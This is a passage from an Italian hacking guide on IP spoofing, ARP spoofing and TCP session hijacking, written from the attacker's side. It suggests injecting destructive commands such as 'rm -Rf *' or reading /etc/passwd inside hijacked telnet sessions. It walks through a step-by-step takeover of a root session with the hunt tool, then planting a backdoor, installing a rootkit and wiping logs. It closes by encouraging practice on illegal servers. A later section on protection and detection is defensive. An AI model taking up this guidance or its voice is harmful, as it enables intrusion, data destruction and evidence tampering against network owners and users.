lasciare alcuna traccia in rete del nostro indirizzo ip, ovvero l'ip spoofing
ed i suoi "
derivati" (spoofing non cieco, spoofing cieco, hijacking).


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
IP SPOOFING
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

L'ip spoofing (utilizzato per la prima volta dal grande Kevin David Mitnick) è
una tecnica di occultazione o falsificazione dell'ip che si basa sulla
modifica di uno o più di uno dei campi di un pacchetto (vedi tabella al
capitolo terzo, sezione TCP/IP).
Esistono diversi tipi di tecniche di spoofing conosciuti come blind spoofing
(spoofing cieco), non blind spoofing (spoofing non cieco) e hijacking.
Per poter capire la complessità dell'applicazione di queste tecniche dobbiamo
tornare a ciò di cui abbiamo parlato nel capitolo sul TCP/IP ovvero i numeri
di serie contenuti nei pacchetti inviati in rete. Infatti per poter comunicare
con un server modificando il campo del source ip, dobbiamo essere in grado di
predire questi numeri di serie. Questo accade perchè il server, come visto in
precedenza, non sarà in grado di risponderci (invierà la risposta
all'indirizzo falso che abbiamo inserito nell'ip-source) e quindi noi non
potremo vedere quale numero di serie sta adottando il server per questa
specifica connessione, almeno che non adottiamo la tecnica non cieca o
l'hijacking, e se lo sbagliamo i nostri pacchetti saranno ignorati,
o al massimo intralceremo la connesione a qualche altro utente.
Esistono vari metodi di generare questi numeri di serie, tutti con
l'obbiettivo di rendere la predizione di questi numeri la più difficile
possibile, chiaramente per motivi di sicurezza. Le ultime versioni del kernel
GNU/Linux utilizzano un sistema che rende praticamente inutile l'applicazione
delle tecniche dette qui di seguito. Concludendo, è un grande problema quello
dei numeri di serie con lo spoofing.

Però ho detto che questo è il problema dello spoofing cieco, ma non di quello
non cieco (che lo stesso risulta molto difficile da attuare) o dell'hijacking!
Per questo l'hijacking è la mia tecnica preferita! ;))

Le prossime due tecniche trattano lo spoofing non cieco e cieco solo in modo
molto generalizzato, per una comprensione basilare, poi passeremo
direttamente all'hijacking, entrando maggiormente nei particolari :)).


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
SPOOFING NON CIECO
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Lo spoofing non cieco si basa sul fatto che la macchina attaccante dispone di
un qualche meccanismo che le permette di osservare le risposte che la
macchina attaccata trasmette, in modo che non sia necessario indovinare i
numeri di serie.
Perchè si possa usare questa tecnica si ha bisogno di un qualcosa di
aggiuntivo che permette di leggere le risposte della macchina remota, funzione
tipicamente svolta da uno sniffer (in parole povere, ciò che avreste dovuto
utilizzare su di voi, nel capitolo sul TCP per imparare
la "
forma" dei pacchetti).
Si aprono quindi due scenari d'utilizzo della tecnica del non blind spoofing.

Il primo sarà una rete locale nella quale una macchina starà facendo un
attacco utilizzando l'indirizzo ip di un'altra macchina connessa alla stessa
rete locale. In questo caso lo sniffer ci permetterà di leggere qualunque dato
inviato dalla macchina che si intende soppiantare a quella con lo sniffer (di
cui avremo messo l'ip nel campo ip-source dei pacchetti che inviamo, come
detto poco sopra) e quindi l'attaccante può ottenere i numeri di serie
necessari per stabilire una comunicazione con la macchina.

Il secondo scenario è più generale ed anche molto più complesso. Dovrebbe
essere utilizzato un cacciatore di pacchetti generico che trasmetta i dati
dalla macchina soppiantata, (quella sulla quale avremo installato il
cacciatore, e della quale avremo inserito l'indirizzo ip nell'ip source), o
da un qualsiasi punto della rotta seguita dai pacchetti dalla macchina vittima
del nostro attacco alla macchina soppiantata, verso di noi, in modo che i
numeri di serie ci siano accessibili (questo periodo potrebbe sembrare più
complesso di quanto sia, rileggetelo ;).
Questa scelta è molto complessa ed insicura per l'attaccante dato che lo
sniffer cessa di essere un elemento passivo di cattura per convertirsi in un
elemento attivo di trasmissione dati, trasferendo i pacchetti di risposta
dalla macchina attaccata alla macchina attaccante. In questo modo l'indirizzo
ip reale dell'attaccante appare nella rete rendendo più facile la
localizzazione.

Questo modo di operare presenta ulteriori complicazioni, derivanti dal fatto
che la macchina soppiantata riceverà pacchetti dalla macchina vittima e
cercherà di rispondervi, con l'unico risultato di produrre errori nella
comunicazione (pacchetti RTS, FIN, duplicati, ecc.) che normalmente
determineranno la fine della connessione.
Il modo abituale di risolvere questo problema è fare un attacco DoS alla
macchina che s'intende soppiantare perchè sia resa incapace di rispondere ai
pacchetti che riceverà dalla macchina vittima e non causi i problemi derivanti
da una possibile risposta.
Come si può immaginare, questo attacco DoS, finalizzato ad utilizzare un
cacciatore di pacchetti invece che uno sniffer, è molto più complesso di quel
che sembra perchè il cacciatore di pacchetti deve trasmettere dati verso la
macchina attaccante, cioè non è sufficiente bloccare la macchina, è necessario
farlo in maniera controllata, in modo che le risposte verso la macchina
vittima non vengano inviate, mentre i pacchetti del cacciatore verso di noi
vengano inviati. La scelta di installare il cacciatore di pacchetti in una
macchina sulla rotta macchina vittima-macchina soppiantata, è generalmente più
complessa, anche se in questo caso un attacco DoS classico sarà sufficiente.

L'obbiettivo è quindi bloccare la macchina che si desidera soppiantare
mantenendo al contempo la possibilità di osservare le risposte della macchina
vittima, cosa che non è affatto banale.


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
SPOOFING CIECO
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

In questa tecnica la macchina attaccante non ha la possibilità di osservare i
pacchetti che la macchina vittima invia come risposta. L'unica possibilità che
avrà sarà quella di investigare sui numeri della sequenza che la macchina
vittima utilizza e dedurre i valori necessari da inserire in testa ai
pacchetti che permetteranno di stabilire la connessione.

Logicamente, indovinare semplicemente non è buona scelta. Per ottenere le
informazioni necessarie allo spoofing, l'attaccante dovrà rivelare il suo vero
indirizzo ip prima di soppiantare un'altra macchina, cioè l'attaccante
trasmetterà un certo numero di pacchetti alla macchina vittima in modo da poter
analizzare le sue risposte e, sulla loro base, dedurre il metodo di
generazione dei numeri di serie, così come il numero di serie appropriato per
stabilire la comunicazione. Questi pacchetti contengono l'indirizzo ip reale
dell'attaccante, visto che in questo caso si ha bisogno della risposta diretta
della macchina vittima.

Una volta seguita questa procedura, la macchina attaccante avrà qualche
possibilità di dedurre il contenuto dei pacchetti che dovrebbe ricevere dalla
macchina vittima e quindi rispondere adeguatamente perchè la connessione non
decada. A seconda del metodo utilizzato per la generazione dei numeri di serie
iniziali della connessione, l'attaccante potrà comunicare con un ip falso con
la macchina vittima, tenendo conto del fatto che attualmente vengono
utilizzati algoritmi che rendono tali predizioni praticamente impossibili.




\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
HIJACKING
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

L'hijacking è sicuramente la tecnica più interessante ed affascinante dello
spoofing, e consiste nel rubare una connessione già stabilita e sostituirsi ad
uno dei due estremi della connessione. Prima di poter scendere però nei particolari
dell'hijacking (capitolo settimo) con vere dimostrazioni di attacchi, è giusto
capire cosa sia ARP, RARP e MAC, come discusso in questo successivo capitolo.






CAPITOLO SESTO


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
ARP , RARP e MAC
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Passiamo dunque a capire cosa siano ARP, RARP e MAC...




\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
ARP e MAC
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|


L' ARP (adress resolution protocol) è un protocollo per convertire gli
indirizzi ip a 32 bit (ricordate? quattro numeri da 8 bit...) in indirizzi
ethernet (MAC (media access control) ) a 48 bit.
Le schede ethernet hanno normalmente un indirizzo MAC fisso, mentre
l'indirizzo ip di un computer che sta usando una scheda ethernet cambia
spesso. Esso può essere spostato da un luogo ad un altro o configurato per
utilizzare un altro indirizzo ip. Questo causa la necessità, per le reti
basate sull'ip (internet protocol), di conoscere a quale indirizzo MAC inviare
i pacchetti. Questo è ciò a cui serve l'ARP.

Quando una macchina in una rete deve inviare un pacchetto ad un altra macchina
o ad un router, deve conoscere l'indirizzo MAC di quest'ultima. Se l'indirizzo
MAC non viene trovato nella senders cache dell'ARP, questo inoltra una
richiesta nella rete (ARP request). La richiesta (anch'esso un pacchetto)
contiene l'indirizzo IP del computer del quale si vuole sapere l'indirizzo
MAC. Quando il computer riceverà il pacchetto di ARP request, esso risponderà
con un altro pacchetto (ARP reply) che conterrà gli indirizzi IP e MAC del
computer. Per evitare di dover domandare l'indirizzo MAC per ogni volta che si
voglia inviare un pacchetto verso la macchina, l'indirizzo ip e MAC della
macchina vengono salvati nella senders cache dell'ARP, in modo tale che i
seguenti pacchetti possano essere inviati al giusto indirizzo MAC senza inviare
ogni volta pacchetti di ARP request.

I pacchetti inviati dall'ARP seguono questo formato:

______________________________________________________________
| HARDWARE TYPE | PROTOCOL TYPE |
|--------------------------------------------------------------|
| HLEN | PLEN | OPERAZIONE |
|--------------------------------------------------------------|
| SENDER HA (ottetti 0-3) |
|--------------------------------------------------------------|
| SENDER HA (ottetti 4-5) | SENDER IP (ottetti 0-1) |
|------------------------------|-------------------------------|
| SENDER IP (ottetti 2-3) | TARGET HA (ottetti 0-1) |
|--------------------------------------------------------------|
| TARGET HA (ottetti 2-5) |
|--------------------------------------------------------------|
| TARGET IP (ottetti 0-3) |
|______________________________________________________________|


Gli indirizzi hardware type e protocol type identificano il tipo di
indirizzo dell'hardware e il tipo del protocollo per l'indirizzo.
Nel caso della scheda ethernet come tipo hardware il valore è 1 e nel caso
dell'ip come protocollo di indirizzo il valore è 0x800.

HLen e PLen indicano la lunghezza dell'indirizzo hardware e del protocollo
degli indirizzi. Questi valori sono 48 bit nel caso della scheda ethernet come
hardware e 32 bit nel caso del protocollo ip.

Il campo operazione contiene il tipo di servizio al quale il pacchetto
appartiene. Esso può contenere uno dei seguenti valori:

1. ARP request
2. ARP reply
3. RARP request
4. RARP reply

Una ARP request è simile a questa:

00:00:2b:04:a9:11 ff:ff:ff:ff:ff:ff arp 60:
arp who-has 123.231.1.2 tell 123.45.67.89




\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
RARP
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Il RARP (reverse adress resolution protocol) è un protocollo per chiedere
l'indirizzo ip di un computer. Esso è usato dai computer per domandare il
proprio indirizzo ip da altri computer sulla rete.




\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
PROXY ARP
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Il proxy ARP è una situazione che si viene a verificare quando un computer
invia una ARP request tramite un altro computer localizzato in un'altra rete,
proprio come accade con i proxy.
Credo che la via migliore per capire questo concetto sia un semplice esempio:

Supponi di avere due computer in una rete a casa e vuoi fare un dial-in per
accedere alla rete del tuo ufficio. Il modem al tuo ufficio risponde alla
chiamata, e ti da un indirizzo ip. Il router in ufficio è configurato per
inviare messaggi ai computer di quella rete tramite la linea telefonica.
Però gli altri computer non sanno che tu non appartieni a quella rete, quindi
quando ti devono inviare qualcosa controllano il tuo indirizzo ip, vedono che
è della stessa rete (perchè assegnato dal router della rete) e provano ad
inviare un ARP request per ottenere il tuo indirizzo MAC. Ma poichè tu sei
sulla linea telefonica non puoi ascoltare la richiesta. Qui avviene il Proxy
ARP, infatti, il router, tramite il quale tu sei connesso alla rete, risponde
a queste richieste inviando il proprio indirizzo MAC in un ARP reply.
Dopodichè quando i computer della rete lan ti vorranno inviare qualcosa, lo
invieranno all'indirizzo MAC del router, il quale lo inoltrerà verso di te
tramite la linea telefonica.

Ecco praticamente cosa avviene:


1.2.3.4 5.6.7.8 9.10.10.10
| | |
| | |
-------------------RETE LAN-------------------
|
|
|
|
|
90.80.70.60 (ROUTER)
|
|
|
|
|
-----------------11.22.33.44------------------
(MIO PC)


Quindi il router, si interpone tra me ed i computer della rete.






CAPITOLO SETTIMO

\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
HIJACK AL PROTOCOLLO TCP TRAMITE ATTACCO ARP
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|





\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
VULNERABILITA' ED ATTACCHI
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

L'attacco ARP si basa sul fatto che, in una rete locale, l'attaccante può
inviare ARP reply forgiati a piacimento ad un qualunque pc della stessa rete,
il quale salverà i dati contenuti in questo ARP reply nel proprio ARP senders
cache, dopodichè invierà verso il pc dell'attaccante pacchetti che dovrebbero
essere inviati ad altri pc. Se l'attaccante invia simultaneamente al computer
A un ARP reply che gli dice di essere il computer B, ed al computer B un ARP
reply che gli dice che l'attaccante è il computer A, tutta la comunicazione
sarà dirottata tramite il computer dell'attaccante. Questo gli permetterà di
controllare tutte le comunicazioni fra i computer A e B.

L'attacco ARP è semplice ed allo stesso tempo potente, però ha un difetto:
esso è limitato alla rete locale. Quindi per effettuare un attacco ARP,
l'attaccante ha bisogno di avere accesso ad un computer che si trova sullo
stesso segmento di rete del computer da attaccare.


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
HIJACK AD UNA CONNESSIONE TCP
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Useremo una macchina Linux come nostro pc attaccante. Il primo passo è quello
di fare in modo che i due computer inviino i loro pacchetti a noi. Dopo aver
scelto i nostri obiettivi (il computer vittima, ed il computer "
manovrato"), e
trovato i loro indirizzi MAC, dovremo creare due interfacce alias, i quali
indirizzi ip corrispondono agli indirizzi dei pc nostri obiettivi.
Settiamo le entrate ARP delle nostre nuove interfacce in modo che esse inviino
i pacchetti ai veri destinatari. Fatto questo, disabilitiamo le risposte ARP
automatiche, in modo da non inviare il nostro indirizzo MAC a computer
"
sbagliati". Passo successivo: iniziamo l'attacco! Inviamo un ARP reply ad
entrambi i computer in modo che loro inviino a noi tutti i pacchetti che
vogliono inviare all'altra macchina (come visto precedentemente).
Per evitare errori, inviamo tutti i pacchetti che riceviamo ai computer ai
quali erano destinati originariamente.

Dobbiamo continuare però ad inviare anche ARP reply ad entrambi i computer
perchè altrimenti la loro ARP cache scaderà, e ciò comporterà che i computer
inviano un ARP request al computer giusto! Per evitare questo quindi
aggiorniamo periodicamente la cache ARP di entrambi i computer.
Ora possiamo controllare tutto il traffico tra i due computer.
Ora inizia il vero divertimento!

Visto che tutti i pacchetti attraversano la nostra macchina, noi possiamo
naturalmente vederli tramite uno sniffer!
Ma non c'è niente di nuovo con questo!
Noi possiamo fare qualunque cosa vogliamo con essi!
Possiamo modificare i loro contenuti, ed aggiungere o rimuovere pacchetti se
vogliamo! Ecco alcune cose carine che potremmo fare:

- Possiamo fare il nostro attacco normalmente senza che la
vittima si accorga di niente. Potremmo aggiungere un
comando telnet durante una sessione (come per esempio "
rm -Rf *" o
qualcos'altro come leggere il file /etc/passwd) tutto ciò senza che
l'utente del computer attaccato si accorga di niente, poichè noi
controllando l'interno traffico faremo in modo che lui non veda gli
output dei comandi, e quindi non si accorga di operazioni
"
extra-ordinarie" :).

- Possiamo fare anche l'hijack della connessione, "
tagliando fuori" il
pc di cui non abbiamo bisogno e continuando a "
parlare" all'altra
macchina facendo finta di essere ancora il vecchio pc ;) (il fatto
negativo di ciò e che l'utente vittima visualizzerà un messaggio di
errore di persa connessione, ma la cosa buona è che sarà troppo tardi
e noi avremo già fatto tutto quello di cui avevamo bisogno ;) )

- Giocando con la vittima, possiamo anche inserire nella sessione
telnet qualche parola extra, tramite il comando echo e facendo sì
che venga visualizzato l'output.
(Esempio: "
echo I am in your network, find me!" ;) )

- Infine, se intendiamo essere il router, potremo estendere il
nostro attacco al di fuori della rete locale in modo da poter fare
l'hijack di una connessione tra un computer della rete locale ed uno
al di fuori di questa rete.


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
ATTACCHI DOS
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Ci sono molti metodi per utilizzare ARP per compiere attacchi DoS (denial of
service):

- Puoi inviare ARP reply di tutte le macchine di una rete locale
indicando il tuo indirizzo. Ciò causerà che i computer diventeranno
inconsci di chi sia veramente chi. Questo potrebbe causare la
nascita di una vera lotta dei computer sulle loro identità

- Indicando un indirizzo MAC non esistente in un ARP reply, puoi
rendere il computer impossibilizzato ad accedere alla destinazione.
Naturalmente anche qui devi inviare periodicamente l'ARP reply per
non far scadere la cache ARP

- Inoltre, puoi pure inviare un ARP reply che ha come indirizzo IP
quello di una macchina con sistema Windows, per far sì di far
apparire la "
modal messagebox" sullo schermo dell'utente, ovvero la
simpaticissima schermata blu ;)




\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
DIMOSTRAZIONE DI UN ATTACCO HIJACK
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Qui di seguito mostro una dimostrazione pratica di un attacco hijack basato
sugli stessi concetti di quello visto sopra, con la differenza che stavolta non
dobbiamo essere per forza nella stessa rete dell'obiettivo, ma bensì in quella della
vittima. Quindi se dovete attaccare un server, osservate un pò, e scegliete poi
qual'è il miglior metodo d'attacco per la vostra situazione. Questo attacco lo
descrivo maggiormente nei particolari rispetto al precedente, poichè è più facile
che si verifichino queste condizioni, ovvero che ci si trovi sulla stessa rete
della vittima, che su quella dell'obiettivo. Infatti, con il primo tipo di
attacco, precedentemente avremo dovuto

  
hackare una macchina sulla stessa rete,
invece ora ci basta che per esempio qualcuno che ha un account su quel server
sia nella nostra rete (meglio se è il root!! ;)

In questo attacco sono coinvolti tre host : l'attaccante, la vittima e l'obiettivo.

- attaccante è la macchina usata dall'attaccante per l'hijack

- vittima è la macchina usata dalla vittima per una connessione
telnet verso la macchina obiettivo

- obiettivo è la macchina obiettivo che l'attaccante vuole
"compromettere". Qui è dove sta girando il
demone telnetd


Il seguente schema mostra che l'attaccante e la vittima si trovano sulla
stessa rete (che può essere anche una ethernet switched), mentre l'obiettivo
si può trovare da qualunque parte (naturalmente l'obiettivo potrebbe trovarsi
anche sulla stessa rete della vittima e dell'attaccante).


______________ ______________
| | | |
| ATTACCANTE | | VITTIMA |
| | | |
| 111.22.33.44 | | 222.11.33.44 |
|______________| |______________|
| |
| |
_____________|________________________________|___________________
|
_________|_________
| |
| ROUTER |
|___________________|
/
/
/
/
/
________/_________
| |
| NETWORK BACKBONE |
|__________________|
\
\
\
\
\
___\_____________
| |
| ROUTER |
|_________________|
|
___________________|_________________________________________________
|
_________|_________
| |
| OBIETTIVO |
| 55.66.77.88 |
|___________________|


Per effettuare l'attacco, la vittima deve usare telnet, rlogin, ftp o
qualunque altro programma TCP/IP non criptato.

Ecco uno scenario d'esempio, per comprendere il tipo d'attacco:
(ripeto d'esempio perchè naturalmente la vittima avrebbe potuto anche eseguire
ftp invece di telnet, ma i risultati non cambiano)


1. Attaccante: Determina l'indirizzo IP dell'obiettivo e della vittima. Ciò
può essere fatto facilmente con programmi come SATAN, finger,
systat, rwho o eseguendo who, ps o last da un account
precedentemente "ottenuto".

2. Attaccante: Esegue hunt come root dalla macchina attaccante. Attende finchè
hunt non indica di aver intercettato una sessione (hunt lo
farà capire cambiando il suo prompt da "->" in "*>")

3. Attaccante: Avvia il demone ARP, prepara il demona RST per essere usato in
seguito, abilita l'opzione "host name resolution" (per convenienza)

4. Vittima: Logga nell'obiettivo usando telnet. Esegue pine per leggere ed
inviare email

5. Attaccante: Si accorge della nuova connessione, e "lista" tutte le
connessioni attive per vedere se questa è
potenzialmente "interessante" ;). Se lo è, l'attaccante può o
solo osservare la sessione (sniffando) o può fare un hijack.
Scegliamo l'hijack :)

6. Vittima: Vede un nuovo prompt sconosciuto. Prova a premere invio, non sa cosa pensare.
Prova il web browser e vede che funziona bene (allora non è un problema
di rete). Non è sicuro di cosa pensare

7. Attaccante: Si accorge che la vittima ha una sessione come user normale ed
allora decide di "lasciarlo continuare"
(risincronizza lo stream TCP/IP)

8. Vittima: Vede che la sessione torna alla normalità.
Preoccupato e pensieroso decide di loggare come root per
dare un'occhiata alla situazione

9. Attaccante: Attiva il demone RST per prevenire nuove connessioni; aspetta
il momento per fare l'hijack della sessione root

10. Vittima: Esegue ssu per avere una root shell protetta da SecureID

11. Attaccante: Completa l'hijack dopo aver visto il login root

12. Vittima: Vede nuovamente apparire uno strano prompt.
Preme dinuovo invio. Stesso risultato di prima.
Prova il browser web. Stessa cosa.
Tenta una nuova sessione telnet. Non funziona.
Prova ftp. Non funziona.

13. Attaccante: Disabilita la command history, inserisce una backdoor, resetta
la sessione, disattiva il demone RST

14. Vittima: Finalmente ottiene una nuova sessione. Anche la sessione
originale ora funziona. Crede che sia un problema della rete o un problema
dello stack TCP/IP di Windows. Riavvia il sistema perchè tutto torni
alla normalità

15. Attaccante: Attende una mezza giornata, per far sì che il sysadmin si
convinca che tutto è normale, ed erano stati solo
"problemucci", dopodichè logga come root usando la backdoor,
installa un rootkit nel sistema (altre backdoor, sniffer), e
pulisce i file di log.




\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
PROTEZIONI E CONTROMISURE
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Qui di seguito sono menzionate le protezioni da prendere contro gli attacchi sopra
descritti.


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
PROTEZIONE
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

L'ARP è un protocollo a basso livello, quindi usualmente nessuno ci si
interessa. Nonostante ciò puoi controllare i contenuti della tua cache ARP
tramite il comando arp. Anche Windows ha questo comando. Quindi, se vi sono
problemi unusuali nella rete, potrebbe essere d'aiuto controllare la cache
dell'ARP.

Un metodo per proteggersi da questi attacchi è di avere un hardware che renda
questi attacchi inutili o li renda maggiormente visibili (switched networks e
smart hubs). Ecco un'altra buona ragione per spendere in buon hardware.

Problemi con l'ARP possono essere evitati usando un design differente da
quello standard. Nell'ARP la risoluzione dinamica dei nomi
(dynamic name resolution) è risolta senza un server centralizzato.
Se vogliamo utilizzare un server centralizzato per far sì di forzare la
coincidenza biunivoca di un indirizzo ip ad un indirizzo MAC non ci dovrebbero
essere problemi. Ciò non dovrebbè richiedere troppo lavoro poichè gli
indirizzi ethernet sono quasi sempre permanenti.

E' possibile anche disabilitare ARP e configurare la tabella ARP manualmente.
Questo dà una protezione perfetta contro gli attacchi basati sull'ARP, ma è un
lavoro molto duro poichè la tabella ARP del computer deve essere aggiornata
manualmente ogni qual volta il computer cambia l'indirizzo IP o l'indirizzo
MAC nella stessa sottorete.


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
DETENZIONE
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Se l'attacco hijacking alla connessione del computer è in corso con successo,
l'utente del computer vittima non visualizzarà nessun messaggio d'errore,
poichè ogni cosa sembrerà lavorare normalmente. Nonostante questo sarà
possibile rendersi conto dell'attacco visualizzando la cache ARP, e notando se
l'indirizzo MAC di un determinato ip è cambiato. Il computer dell'attaccante
può essere identificato dal suo indirizzo MAC e dopo di ciò potrà essere
disconnesso fisicamente dalla rete locale. L'attaccante può essere anche
scovato da un terzo computer, il quale sniffa la rete in cerca di ARP reply
forgiati ad hoc.

In attacchi DoS, è facile accorgersi che qualcosa non funziona bene,
nonostante la causa non potrebbe sembrare apparente. Il comando arp può essere
usato per visualizzare questi attacchi.


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
CONSEGUENZE E PERDITE
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Cosa comportano gli attacchi ARP alle vittime, e perchè un attaccante dovrebbe
scegliere questa tecnica.


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
PERDITE PER LE VITTIME
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Le perdite per una eventuale vittima, possono essere molto grandi, soprattutto
se l'attaccante inserisce comandi "cattivi" in una sessione telnet come per
esempio "rm -Rf *". Però spesso, l'attaccante può anche solo modificare i dati
dei pacchetti trasmessi o magari far apparire paroli "dolci" >:) sullo schermo
della vittima (come visto in precedenza tramite ECHO).
Invece, se viene compiuto un denial of service completo, ciò causa
l'impossibilità di utilizzare la rete attaccata.



\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
MOTIVAZIONI PER UN ATTACCO ARP - HIJACK
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Perchè qualcuno dovrebbe usare un attacco ARP?

Bene, un attacco ARP non è molto applicabile perchè, come abbiamo visto in
entrambi i tipi di attacchi, c'è bisogno sempre di trovarsi sulla rete locale
di un'altra macchina, però se viene combinato con il penetrare in un computer
della stessa rete locale, si possono fare cose davvero stupende!
E poi, le tecniche di hijacking sono molto potenti e con esse puoi fare di
tutto.

Quali sono i rischi durante l'hijacking?

Se si conosce cosa si sta facendo, gli altri computer della rete non si
accorgeranno mai di ciò che si sta facendo.



\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
CONCLUSIONI
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Il protocollo ARP, non è stato progettato per essere sicuro, ma solo per fare
ciò a cui serve, ovvero inviare ARP request e ricevere ARP reply. Esso non ha
nessun tipo di autentificazione.

Il protocollo ARP è un "pilastro" del mondo IP, e proprio ora che stiamo
raggiungendo l'era dell'IP v6, è una necessità migliorare i protocolli base
come ARP. Esistono già dei miglioramenti nelle reti come lo switching che sta
aiutando molto a risolvere i problemi di gestione, però questa non è ancora la
soluzione finale al problema.





CAPITOLO OTTAVO

\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
CONCLUSIONI DELLA GUIDA
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Finalmente ho concluso la guida.
Spero vi abbia insegnato cose nuove, e vi abbia animato di gioia e voglia di
nuove conoscenze! :)
Le tecniche qui descritte sono veramente stupende, e se sono sembrate troppo
difficili, basta un pò di pratica su qualche server illegale e giuro che
diventeranno un gioco da ragazzi!
Naturalmente con questo non voglio assolutamente incitare nessuno ad hackare
un server, ma magari, se si è un sysadmin, a testare la sicurezza del proprio
server "auto-attaccandosi".
Come avrete sicuramente notato, questa guida ha sorvolato molti argomenti,
che dovrebbero essere alla base dell'hacking. Il problema è stato il fatto che
la guida è nata prima come semplice articolo su come anonimizzarsi in rete, ma
poi si è ampliata talmente oltre i propri "orizzonti", da farmi decidere di
chiamarla come guida all'hacking.
Scrivere questo testo mi ha entusiasmato molto, e se lo stesso è accaduto
anche per voi vi prego di aiutarmi! Vorrei portare avanti questa guida in
nuove realease, correggendo errori, aggiungendo nuove tecniche e magari
inserendo anche qualche argomento non trattato. Quindi se sei d'accordo e vuoi
